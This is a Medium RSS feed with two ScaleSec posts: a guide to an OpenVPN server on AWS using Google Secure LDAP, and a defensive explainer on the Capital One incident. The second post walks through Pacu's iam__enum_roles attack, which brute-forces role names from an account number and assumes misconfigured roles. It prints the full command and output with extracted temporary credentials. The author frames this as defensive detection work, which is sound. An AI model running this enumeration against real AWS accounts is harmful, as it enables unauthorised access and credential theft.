<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Scott McDonald on Medium]]></title>
        <description><![CDATA[Stories by Scott McDonald on Medium]]></description>
        <link>https://medium.com/@scott_97772?source=rss-f3634aef53df------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*X7HCdIQlP-uRA4OYN9iVQw.jpeg</url>
            <title>Stories by Scott McDonald on Medium</title>
            <link>https://medium.com/@scott_97772?source=rss-f3634aef53df------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 15:25:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@scott_97772/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OpenVPN Integration with GSuite]]></title>
            <link>https://medium.com/scalesec/openvpn-integration-with-gsuite-627769fdefb2?source=rss-f3634aef53df------2</link>
            <guid isPermaLink="false">https://medium.com/p/627769fdefb2</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[openvpn]]></category>
            <category><![CDATA[g-suite]]></category>
            <category><![CDATA[vpn]]></category>
            <dc:creator><![CDATA[Scott McDonald]]></dc:creator>
            <pubDate>Thu, 23 Apr 2020 15:33:25 GMT</pubDate>
            <atom:updated>2021-08-10T17:21:31.273Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQruiTgMXh41e70b4BiTyg.png" /><figcaption>OpenVPN Integration with GSuite — How ScaleSec does VPN on AWS</figcaption></figure><h3>How ScaleSec Does VPN on AWS</h3><p>ScaleSec is working from home during the COVID-19 pandemic. To help our employees traverse the internet securely, we offer an easy-to-use Virtual Private Network (VPN) system. Hosting our VPN server solution costs less than $75 a month on AWS, and the software (<a href="https://openvpn.net/community/">OpenVPN</a>) is free and open source. It’s been integrated to GSuite, allowing us to simply use our Google usernames and passwords to login. The system is low maintenance and rarely needs to be touched. Originally provided for consultants during travel, this VPN system also works great for working remotely from home. We can connect to the VPN and reach private resources in our AWS VPC and surf through the VPN to the public internet, knowing that our connections are encrypted between home and AWS. All of this is done with free open source software, and a small low cost EC2 instance. This article will explain how we built the ScaleSec OpenVPN system to meet our specific needs, and how a similar approach can be applied to establish a system of your own.</p><h3>User / Admin Experience</h3><p>When new employees are onboarded at ScaleSec, they receive a new GSuite account with their laptops. Our internal documentation has easy to follow installation directions for Windows, Mac, Linux, iPhone, and Android setups for OpenVPN clients. In short, they install the client software, then download our OpenVPN config files and add them. When logging in, they use their Gmail username and Gmail password to connect.</p><p>On the Admin side, previous OpenVPN servers I’ve worked with required setting up certs for every user’s client. We used a system of scripts to easily create users and send them their individual certs and setup instructions by mail. New employees or developers added to teams would have to follow a process to submit tickets to be added to the VPN, and each time that would require us to run scripts. As team members were rotated off, we would again run scripts to remove them. The system was manually intensive and prone to human error, but it worked, and we had more traffic flowing through that OpenVPN server than any I have seen since.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FT_W-Ee-2daDNEkV4473Dw.png" /><figcaption>ScaleSec onboarding with OpenVPN &amp; Google’s Secure LDAP</figcaption></figure><p>I knew we could trust OpenVPN to scale to meet our needs at ScaleSec, but I did not want us to have to manage VPN users individually. The goal was to have the open source OpenVPN work with our GSuite logins. <a href="https://support.google.com/a/answer/9048516?hl=en">Google’s Secure LDAP service</a> integration was the solution. This eliminated the need for additional Admin work related to OpenVPN user management.</p><h3>How It Works</h3><p>The solution is run in AWS on a single t3a.large instance, which works well for our needs. It is deployed on the latest Amazon Linux 2 AMI and is very cost effective. Since this solution needs a public IP, we also chose to deploy <a href="https://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</a>, which watches for and blocks bad IPs.</p><p>We run two OpenVPN servers on the same EC2 instance. The first one is TCP and hosted on port 443. The second one is UDP and hosted on port 1194. Often egress firewalls will allow TCP traffic out of port 443 for regular https web traffic to work. We have taken advantage of this in our main client profile for tunneling our VPN connections over TCP and out through the commonly open 443 port on the networks we use while traveling. Over the years while traveling, I found that some networks will have TCP re-transmission bug issues when tunneling TCP over TCP. This is why we provide the second UDP connection profile option. Tunneling TCP over UDP avoids rare TCP re-transmission bug issues, and sometimes results in much higher performance (but not all egress firewalls allow UDP out, so we keep TCP as our primary option).</p><p>Each of the OpenVPN processes running is configured to use an LDAP plugin. This is where the magic glue comes in. To authenticate to the <a href="https://support.google.com/a/answer/9048434?hl=en&amp;ref_topic=9173976">Google Secure LDAP service</a>, we point the OpenVPN LDAP plugin at a <a href="https://www.stunnel.org/">stunnel</a> running on localhost. The stunnel on localhost is configured to build the TLS tunnel using Google’s supplied client certs to the Google secure LDAP endpoint. To OpenVPN’s LDAP plugin it looks like a local LDAP server on localhost, so the plugin works to authenticate over the localhost stunnel setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XjlDrx8WZZGQGhylLIkxGA.png" /><figcaption>T3a, Fail2Ban, Stunnel, automated on S3</figcaption></figure><p>Once all the steps to build the server were worked out, we automated it for our setup with a simple script that can be run on a fresh instance to install and setup everything needed from config backups stored in S3.</p><blockquote>Maintenance is down to about 10 minutes a month, triggered by a calendar reminder to apply yum updates and manually reboot if needed.</blockquote><p>I prefer to watch the updates, as fail2ban has broken a few times due to config file changes in package updates.</p><h3>Examples</h3><p>Setting up a full OpenVPN server is out of scope for this article, but below are some key pieces from our setup that can be used for a similar solution in AWS. In addition to GSuite Enterprise to get Google’s Secure LDAP service, the key open source related configuration pieces you will need for setting this up on your own are included for implementation.</p><p>Here is a simple shell script we call on system boot that starts up our setup (similar in reverse to stop). We clear tmp and apply system updates first, then flush iptables and set up the needed forwarding and routing for the IP connection pool before starting both OpenVPN processes and fail2ban.</p><pre>#!/bin/bash<br>rm -rf /tmp/*<br>/usr/bin/yum update -y<br>/usr/bin/sleep 2<br>iptables -F<br>iptables -I FORWARD -j ACCEPT<br>iptables -t nat -I POSTROUTING -s 172.141.0.0/17 -o eth0 -j \ MASQUERADE<br>/usr/bin/sleep 2<br>/usr/bin/stunnel /etc/stunnel/google-ldap.conf &amp;<br>/usr/bin/sleep 2<br>/usr/bin/cd /etc/openvpn/; /usr/bin/nohup /usr/sbin/openvpn \<br>/etc/openvpn/server-tcp.conf &gt; /tmp/nohup-tcp.out 2&gt;&amp;1 &amp;<br>/usr/bin/sleep 2<br>/usr/bin/cd /etc/openvpn/; /usr/bin/nohup /usr/sbin/openvpn \<br>/etc/openvpn/server-udp.conf &gt; /tmp/nohup-udp-out 2&gt;&amp;1 &amp;<br>/usr/bin/sleep 2<br>/usr/bin/fail2ban-server start</pre><p>The “magic glue” stunnel piece mentioned above is configured in this google-LDAP.conf file, which refers to the ldap-client.key and ldap-client.crt provided by Google when <a href="https://support.google.com/a/answer/9089736?hl=en">setting up your Secure LDAP service in GSuite</a>:</p><pre>[ldap]<br>client = yes<br>accept = 127.0.0.1:1636<br>connect = ldap.google.com:636<br>cert = /etc/openvpn/ldap-client.crt<br>key = /etc/openvpn/ldap-client.key</pre><p>Our first OpenVPN process for the TCP connection option calls our server-tcp.conf file which is configured with:</p><pre>port 443<br>proto tcp<br>dev tun<br>ca /etc/openvpn/easy-rsa-CA/pki/ca.crt<br>cert /etc/openvpn/easy-rsa-CA/pki/issued/ssvpn.crt<br>key /etc/openvpn/easy-rsa/pki/private/ssvpn.key<br>dh /etc/openvpn/easy-rsa/pki/dh.pem<br>server 172.141.64.0 255.255.192.0<br>push “route 172.0.0.0 255.0.0.0”<br>push “redirect-gateway autolocal”<br>push “dhcp-option DNS 8.8.8.8”<br>push “dhcp-option DNS 8.8.4.4”<br>keepalive 10 120<br>cipher AES-256-CBC<br>user openvpn<br>group openvpn<br>persist-key<br>persist-tun<br>status /tmp/openvpn-status-tcp.log<br>verb 3<br>crl-verify /etc/openvpn/crl.pem<br>plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so \ /etc/openvpn/ldap.conf verify-client-cert optional<br>username-as-common-name<br>verify-client-cert optional<br>duplicate-cn</pre><p>Our second OpenVPN process for the UDP connection option calls our server-udp.conf file which is configured with:</p><pre>port 1194<br>proto udp<br>dev tun<br>ca /etc/openvpn/easy-rsa-CA/pki/ca.crt<br>cert /etc/openvpn/easy-rsa-CA/pki/issued/ssvpn.crt<br>key /etc/openvpn/easy-rsa/pki/private/ssvpn.key<br>dh /etc/openvpn/easy-rsa/pki/dh.pem<br>server 172.141.0.0 255.255.192.0<br>push “route 172.0.0.0 255.0.0.0”<br>push “redirect-gateway autolocal”<br>push “dhcp-option DNS 8.8.8.8”<br>push “dhcp-option DNS 8.8.4.4”<br>keepalive 10 120<br>cipher AES-256-CBC<br>user openvpn<br>group openvpn<br>persist-key<br>persist-tun<br>status /tmp/openvpn-status-udp.log<br>verb 3<br>crl-verify /etc/openvpn/crl.pem<br>plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so \ /etc/openvpn/ldap.conf verify-client-cert optional<br>username-as-common-name<br>verify-client-cert optional<br>duplicate-cn</pre><p>Both of these OpenVPN configuration files use the openvpn-auth-ldap plugin with the same LDAP configuration file which points to our local stunnel port:</p><pre>&lt;LDAP&gt;<br>URL LDAP://localhost:1636<br>Timeout 15<br>&lt;/LDAP&gt;<br>&lt;Authorization&gt;<br>BaseDN “ou=Users,dc=scalesec,dc=com”<br>SearchFilter “(uid=%u)”<br>RequireGroup false<br>&lt;/Authorization&gt;</pre><p>For all of the above to work in AWS you also need to understand the routing piece for the connection pools. It is important to give the connection pools enough IP addresses to avoid running out if you have a large number of clients. A problem I have faced in the past was related to an OpenVPN server having originally been configured to work with a /24 which was only 256 IPs, but there were over 550 clients. At peak times, when developers were connecting to the VPN to reach the Atlassian suite to do Git commits and trigger build pipeline integrations, some were getting kicked off and it appeared to be random, as other times it was solid. The issue was that the IP connection pool for OpenVPN clients was running out of IPs, and therefore kicking off the oldest connections to make room for new connections. The solution was to use a much larger IP block for the connection pools. A good resource to use when working with IP blocks is <a href="https://tools.ietf.org/html/rfc1878">RFC 1878</a>.</p><p>To avoid connection pool exhaustion issues going forward, it is a good practice to use a much larger block than you think you will ever need. In this setup we use a /17 with 32k IPs. You can see the /17 in the startup script lines for iptables. This /17 matches a route added for the same /17 in AWS console in the VPC routing table that sends that IP block to the network interface of the OpenVPN instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*ysT33U6ZKoCcwlwm.png" /><figcaption>VPC routing table</figcaption></figure><p>With the full /17 routed to that instance, and iptables configured to use it, next we break that /17 with 32k IPs down into 2 * /18s each with 16k IPs to use in each pool, which is way more than we need. The unique /18s are then configured for OpenVPN connection pool use in both the TCP and UDP OpenVPN config files. With the routes in place in AWS and our EC2 instance, clients connected to OpenVPN can reach other resources in the AWS VPC that are routable in that VPN route table and get NAT out over the VPN server to the internet.</p><p>With everything in place including fail2ban, here is how you can see how many rogue IPs on the internet have discovered our public IP address and recently tried probing our SSH port triggering a block (currently 79 blocked):</p><pre># ipset list<br>Name: f2b-sshd<br>Type: hash:ip<br>Revision: 4<br>Header: family inet hashsize 1024 maxelem 65536 timeout 360000<br>Size in memory: 23128<br>References: 1<br>Number of entries: 79</pre><p>Performance of our t3a.large EC2 instance over the last hour while connected and writing this article:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*VuhEyIlarwpGrF9a.png" /><figcaption>Performance of our t3a.large EC2 instance</figcaption></figure><p>At ScaleSec, the use of OpenVPN allows us to connect easily and securely to the internet and our AWS VPC whether we’re working from home or traveling. If you’ve decided to integrate OpenVPN, tell us about your experience on <a href="https://www.linkedin.com/company/scalesec/">LinkedIn</a> or <a href="https://twitter.com/ScaleSec">Twitter</a>.</p><p><em>The information presented in this article is accurate as of 4/23/2020. Follow the ScaleSec blog for new articles and updates.</em></p><h3>About Us</h3><p><strong>ScaleSec</strong> is a service-disabled, veteran-owned small business (SDVOSB) for <a href="https://scalesec.com/security/">cloud security</a> and <a href="https://scalesec.com/compliance/">compliance</a> that helps innovators meet the requirements of their most scrutinizing <a href="https://scalesec.com/case-studies/">customers</a>. We specialize in cloud security engineering and cloud compliance. Our team of experts guides customers through complex cloud security challenges, from foundations to implementation, audit preparation and beyond. Learn more at <a href="https://scalesec.com./">https://scalesec.com.</a></p><p><a href="https://scalesec.com/careers/">We are hiring!</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=627769fdefb2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/scalesec/openvpn-integration-with-gsuite-627769fdefb2">OpenVPN Integration with GSuite</a> was originally published in <a href="https://medium.com/scalesec">ScaleSec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking AWS with Pacu — Learning from the recent Capital One incident]]></title>
            <link>https://medium.com/scalesec/hacking-aws-with-pacu-learning-from-the-recent-capital-one-incident-c6042067ed04?source=rss-f3634aef53df------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6042067ed04</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Scott McDonald]]></dc:creator>
            <pubDate>Mon, 05 Aug 2019 14:10:54 GMT</pubDate>
            <atom:updated>2021-08-10T17:58:59.608Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking AWS with Pacu</h3><h3>Learning from the recent Capital One incident</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*b9p-e-oJJQ_AVFUznJNuJg.png" /><figcaption>(pacu cli tool ascii art)</figcaption></figure><p>There are a lot of lessons to be learned from the Capital One incident that was disclosed this week. Several of those lessons were covered earlier in an article by ScaleSec’s Ryan Canty: <a href="https://blog.scalesec.com/practical-proactive-amazon-s3-security-73c62d083060">Practical, ProActive Amazon S3 Security</a>. I think it is also important to look at the incident from the view of the attacker which is what we will be doing in this article.</p><p>For the first 7 years of my career I helped start and run one of the world’s first ISPs and web hosting companies. I spent a large majority of my time as a network/systems administrator dealing with the fallout from “script kiddie” exploits in the early days of the Internet. I learned firsthand how bad things can get when security attacks are automated by programs that almost anyone can run to exploit vulnerabilities. That experience has proven invaluable over the years in various projects and is once again coming in handy in the evolving cloud world we live in.</p><p>Some, but not all of the details about the recent Capital One incident were disclosed. A WAF role had its credentials extracted. Reports indicate this was a ModSecurity WAF, but details of the “firewall misconfiguration” leading to the data exfiltration have not been described publicly. The disclosure information indicates it was not an exploited vulnerability (not tied to a CVE) but specifically was a misconfiguration that lead to the unintended access to the PII stored in S3 buckets (which were not public).</p><p>As an AWS guru, this gave me pause. How could that happen via a misconfiguration? Right away I could see how that could happen via a CVE exploit on a 3rd party WAF running on an EC2 instance — but so far that is not what we are being told happened. We are being told it was a misconfiguration issue that lead to the WAF role on AWS being compromised (which could then be used to read from S3 with PII, which was another layer of the problem). But how could a simple misconfiguration on an AWS role for a WAF lead to a compromise of AWS role credentials? Let’s walk backwards through it — with lessons learned from Rhino Security Lab’s AWS penetration testing framework: <a href="https://github.com/RhinoSecurityLabs/pacu">Pacu</a>.</p><p>Having used Pacu recently for creating Use Cases for AWS exploits for a client’s security team to use as starting blocks for building Splunk queries and Phantom playbooks — I was able to see how something like Pacu’s IAM Enumerate Roles module (not that it was used) could have been used for exactly this kind of scenario. By building attack simulations based on Pacu’s pentesting modules, I was able to capture API pattern fingerprints and example log patterns from CloudTrail that could be fed into a SIEM team’s alerting/response process. What I learned from the iam__enum_roles module in particular is relevant to learning about what could have happened with the recent Capital One incident.</p><p>This Pacu module performs a remote dictionary attack to figure out role names to exploit starting with nothing but an AWS account number. Note that AWS account numbers could be generated in mass by attackers as a starting point. Since there is no way to keep an account number private, the account numbers themselves should be thought of as being like public IPs and scanned (new products emerging in this space) proactively. This module will take a list of dictionary words (comes with 1100+ by default — but you can easily add more from other lists and your own findings) and then it uses attempts to assume those role names in the target AWS account.</p><p>Based on the error message Pacu gets trying to update a local malformed policy — Pacu can tell if the role name from the dictionary attack is a valid remote role or not. When performing this attack, Pacu will generate 0 logs on the target AWS account — only the attacker’s AWS account will have the thousands of failed UpdateAssumeRolePolicy API calls. Once Pacu has a list of valid roles for the target account, it will next attempt to assume those roles remotely. If the role is misconfigured, which happens when people use wildcards etc…, then Pacu is able to assume that role remotely and will extract the credentials for that role and display them for the attacker to use with other Pacu modules for escalation, cloaking, backdooring users/roles, discovering s3 buckets, and mass downloading s3 data.</p><blockquote>When performing this attack, Pacu will generate 0 logs on the target AWS account — only the attacker’s AWS account will have the thousands of failed UpdateAssumeRolePolicy API calls.</blockquote><p>It is a perfectly valid point that most AWS compromises happen because of leaked keys through something simple like accidental GitHub commits. But it is also important to realize that GitHub, and CVEs, are not the only way credentials could leak. As more people gain exposure to emerging AWS pentesting tools, I expect to see their usage spread like wildfire, similar to the early days of the internet and web hosting. The good old days of the Script Kiddies are back — only this time they are coming for your clouds. It’s important that people know that these tools are out there, they are not toys, they are very powerful, and they are gaining momentum.</p><p>As defenders, it’s our job to look for ways we can use easy exploit tools for AWS for a better defense. Security engineers could take lists of their known AWS accounts and their known AWS roles and cheat feeding those into Pacu as a way to detect if any of their AWS account roles are misconfigured for remote access — or detect if any of the external vendor account roles your integrated with and don’t have visibility into are misconfigured. This would be a good way to find those misconfigured roles in partner accounts, and have integration partners fix them, before they are exploited to gain access to your accounts.</p><p>Example of Pacu’s iam__enum_roles module in an attack simulation — remotely discovering roles based on a dictionary attack, and assuming those roles to extract credentials due their misconfigurations:</p><pre>Pacu (pacu-new1:pacu-new1) &gt; run iam__enum_roles — role-name DevOps — account-id 896747040350</pre><pre>Running module iam__enum_roles…</pre><pre>[iam__enum_roles] Warning: This script does not check if the keys you supplied have the correct permissions. Make sure they are allowed to use iam:UpdateAssumeRolePolicy on the role that you pass into — role-name and are allowed to use sts:AssumeRole to try and assume any enumerated roles![iam__enum_roles] Targeting account ID: 896747040350</pre><pre>[iam__enum_roles] Starting role enumeration…</pre><pre>[iam__enum_roles] Found role: arn:aws:iam::896747040350:role/Admin</pre><pre>[iam__enum_roles] Found role: arn:aws:iam::896747040350:role/Administrator</pre><pre>[iam__enum_roles] Found role: arn:aws:iam::896747040350:role/sysadmin</pre><pre>[iam__enum_roles] Found role: arn:aws:iam::896747040350:role/test</pre><pre>[iam__enum_roles] Found 4 role(s):</pre><pre>[iam__enum_roles] arn:aws:iam::896747040350:role/Admin</pre><pre>[iam__enum_roles] arn:aws:iam::896747040350:role/Administrator</pre><pre>[iam__enum_roles] arn:aws:iam::896747040350:role/sysadmin</pre><pre>[iam__enum_roles] arn:aws:iam::896747040350:role/test</pre><pre>[iam__enum_roles] Checking to see if any of these roles can be assumed for temporary credentials…</pre><pre>[iam__enum_roles] Role can be assumed, but hit max session time limit, reverting to minimum of 1 hour…</pre><pre>[iam__enum_roles] Successfully assumed role for 1 hour: arn:aws:iam::896747040350:role/Admin</pre><pre>[iam__enum_roles] {</pre><pre>“Credentials”: {</pre><pre>“AccessKeyId”: “ASIA5BSSJ5ZPE3PTVKBX”,</pre><pre>“SecretAccessKey”: “gdAAOS+EFfHILnxGoIb2R5G2ci+5af+qe9PpFZ36”,</pre><pre>“SessionToken”: “FQoGZXIvYXdzELf//////////wEaDPKK1d7gPIVVe8WKRSL4AYWs1PhkazpVZ+9e8QG2nRBkgYuEv5q1kev9Th2LXDa6izGPbzCzhjbqWNMX8qpvaMmzTcmGFZhNm2zeL4mGeQTBHp1JWZJRJUUOQGvQM1kDUtFzjJjEo+nvxcnbG9KLG8jnl2IwEnhPgngncrdnudrEfSG3cjomgTe24svF1JI1dlEkXHqGzIDGeVKd1wNhiipqoBr9GkIPSr7OJF2IC1bo22dr7HuBr38I+JD2T6ipBmHRZXPME6WnbdUS/dl3tKXrMmF0OXieDkHfjcE4OUTO9On6FSct6QRIfISWqxGf1dPEKMmCgptCSaZiaCZED/CxuJ+Il6l4KNXL6OkF”,</pre><pre>“Expiration”: “2019–07–25 22:57:41+00:00”</pre><pre>},</pre><pre>“AssumedRoleUser”: {</pre><pre>“AssumedRoleId”: “AROA5BSSJ5ZPHMQPXNY5P:QT9A3z8Xsbh0US2ysn55”,</pre><pre>“Arn”: “arn:aws:sts::896747040350:assumed-role/Admin/QT9A3z8Xsbh0US2ysn55”</pre><pre>}</pre><pre>}</pre><pre>[iam__enum_roles] Role can be assumed, but hit max session time limit, reverting to minimum of 1 hour…</pre><pre>[iam__enum_roles] Successfully assumed role for 1 hour: arn:aws:iam::896747040350:role/Administrator</pre><pre>[iam__enum_roles] {</pre><pre>“Credentials”: {</pre><pre>“AccessKeyId”: “ASIA5BSSJ5ZPMQRJ3M7W”,</pre><pre>“SecretAccessKey”: “rp6J45X9v6JVc0yPiX/JD+23MX35SDerEpbMpckj”,</pre><pre>“SessionToken”: “FQoGZXIvYXdzELf//////////wEaDPJYwzLBJko6eQCG8yL4AQa/hMucxRCf32hFjSqKqDgrkJ3nN2g8sfdfJKBERQQSIqD1RsjDB2n2af4j7D4rd5EZ73JMBL5bicSGokJslVRvfwG/teuPc6hEbW5t/ZcrZX3t2VZopd/w0i0KHEDM3cKiEqvGxO1mVhBVSB+3VG51QVM0S2gMectLcfBnUm6S9MjGuaP5ZbSXDu4AE0IfHciPCOTCeaw8/AO1rE29Zcee67c65NGbL/DCXXH89oCH0hful2rdKy3dYuVL/lWaTa9UptPrjtvkz0gEGQjf0dDgZUoWQ8uCJjoRbqLNIKGuRf6Wu5A/D2zDseguveYKBiMetIhtaiRFKNXL6OkF”,</pre><pre>“Expiration”: “2019–07–25 22:57:41+00:00”</pre><pre>},</pre><pre>“AssumedRoleUser”: {</pre><pre>“AssumedRoleId”: “AROA5BSSJ5ZPDNMJ7Q6Z4:6NRaP4vSfZzLxi3QiR3x”,</pre><pre>“Arn”: “arn:aws:sts::896747040350:assumed-role/Administrator/6NRaP4vSfZzLxi3QiR3x”</pre><pre>}</pre><pre>}</pre><pre>[iam__enum_roles] Role can be assumed, but hit max session time limit, reverting to minimum of 1 hour…</pre><pre>[iam__enum_roles] Successfully assumed role for 1 hour: arn:aws:iam::896747040350:role/sysadmin</pre><pre>[iam__enum_roles] {</pre><pre>“Credentials”: {</pre><pre>“AccessKeyId”: “ASIA5BSSJ5ZPG36RWIQY”,</pre><pre>“SecretAccessKey”: “WWzbn9jhjebKLLr6FFC4A0J0dLox3CPIqSO3Wm0O”,</pre><pre>“SessionToken”: “FQoGZXIvYXdzELf//////////wEaDG4mNoBJIu+zgaSwzCL4AUJJWwYGv062w/PhT9O6MvbNmoW81iSizDelSCQEtu/+pUO6mAD/D7eZuA5F2SEsA9Gr/svFxcU8ihv6Jsh4u3QojmwsCkqArLWSv+SvJRnldqQLGxjiLlXcciGtNgZc/keiDbqUAwTgGtVXnP/6ggzRPdZi75YVJi3IRyqYHWsvTcKu8uATTV9y2Q105mb/SPkkDyihEUwnziOq/wAcVzMvXPNwba06L7kTd4mJC6I6Dq9LVdAPY6HGXLDEgTJqQe1oTw+OuUmIOpTiGgazrRkSX0VFjxJ7Z1rXXt7KFhlKegI+7FI7DtXqnQ0Rj8vSO2am78qpdVEYKNbL6OkF”,</pre><pre>“Expiration”: “2019–07–25 22:57:42+00:00”</pre><pre>},</pre><pre>“AssumedRoleUser”: {</pre><pre>“AssumedRoleId”: “AROA5BSSJ5ZPOXLF46OU5:BQEuw42KL305iby7Hzsx”,</pre><pre>“Arn”: “arn:aws:sts::896747040350:assumed-role/sysadmin/BQEuw42KL305iby7Hzsx”</pre><pre>}</pre><pre>}</pre><pre>[iam__enum_roles] Role can be assumed, but hit max session time limit, reverting to minimum of 1 hour…</pre><pre>[iam__enum_roles] Successfully assumed role for 1 hour: arn:aws:iam::896747040350:role/test</pre><pre>[iam__enum_roles] {</pre><pre>“Credentials”: {</pre><pre>“AccessKeyId”: “ASIA5BSSJ5ZPMQRO62OE”,</pre><pre>“SecretAccessKey”: “7T3I/MbpJhEjTJ9Gc+/OdIoCwSJ8QZvPEVeaXqvQ”,</pre><pre>“SessionToken”: “FQoGZXIvYXdzELf//////////wEaDEe/31lMChdF0tm4SyL4AdzKhaQQuCZax501sJbDcG2aTagn2xbSaW0K1DgSyXjO5JkA2nwAohPe/V3R595jekPycg3niW2lnwvagQwQPivlYUqw2y9OpPuNRmyKkzZ9q0qoX9mtmxw9c0ZCWUkEzoYam0Ghm4dUOsbgQeWs8r0lOW7RTiHlq8RTU7x6bYb/0W6lBL0+tr51r1Xm8i5Iv9gkEZrT+K0U6slH8pa5XiO8gZYPErIGWrzYo1hpR71tssgfjg6lMdM/YV9NK/6DyLG8fA6n5GSVeFasnV58Dc91NOm1AufZooJjc6/M36RxtkHkyecCu+BhsyHptRybKtefJcg/hE5nKNbL6OkF”,</pre><pre>“Expiration”: “2019–07–25 22:57:42+00:00”</pre><pre>},</pre><pre>“AssumedRoleUser”: {</pre><pre>“AssumedRoleId”: “AROA5BSSJ5ZPEN4ZAEYWI:NBpWfjBTLyqOo6t1uJ3w”,</pre><pre>“Arn”: “arn:aws:sts::896747040350:assumed-role/test/NBpWfjBTLyqOo6t1uJ3w”</pre><pre>}</pre><pre>}</pre><pre>[iam__enum_roles] iam__enum_roles completed.</pre><pre>[iam__enum_roles] MODULE SUMMARY:</pre><pre>4 role(s) found after 1136 guess(es).</pre><pre>4 out of 4 enumerated role(s) successfully assumed.</pre><pre>Pacu (pacu-new1:pacu-new1) &gt;</pre><p><em>The information presented in this article is accurate as of 8/5/2019. Follow the ScaleSec blog for new articles and updates.</em></p><h3>About ScaleSec</h3><p><strong>ScaleSec</strong> is a service-disabled, veteran-owned small business (SDVOSB) for <a href="https://scalesec.com/security/">cloud security</a> and <a href="https://scalesec.com/compliance/">compliance</a> that helps innovators meet the requirements of their most scrutinizing <a href="https://scalesec.com/case-studies/">customers</a>. We specialize in cloud security engineering and cloud compliance. Our team of experts guides customers through complex cloud security challenges, from foundations to implementation, audit preparation and beyond.</p><p><a href="https://scalesec.com/connect/">Get in touch!</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6042067ed04" width="1" height="1" alt=""><hr><p><a href="https://medium.com/scalesec/hacking-aws-with-pacu-learning-from-the-recent-capital-one-incident-c6042067ed04">Hacking AWS with Pacu — Learning from the recent Capital One incident</a> was originally published in <a href="https://medium.com/scalesec">ScaleSec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>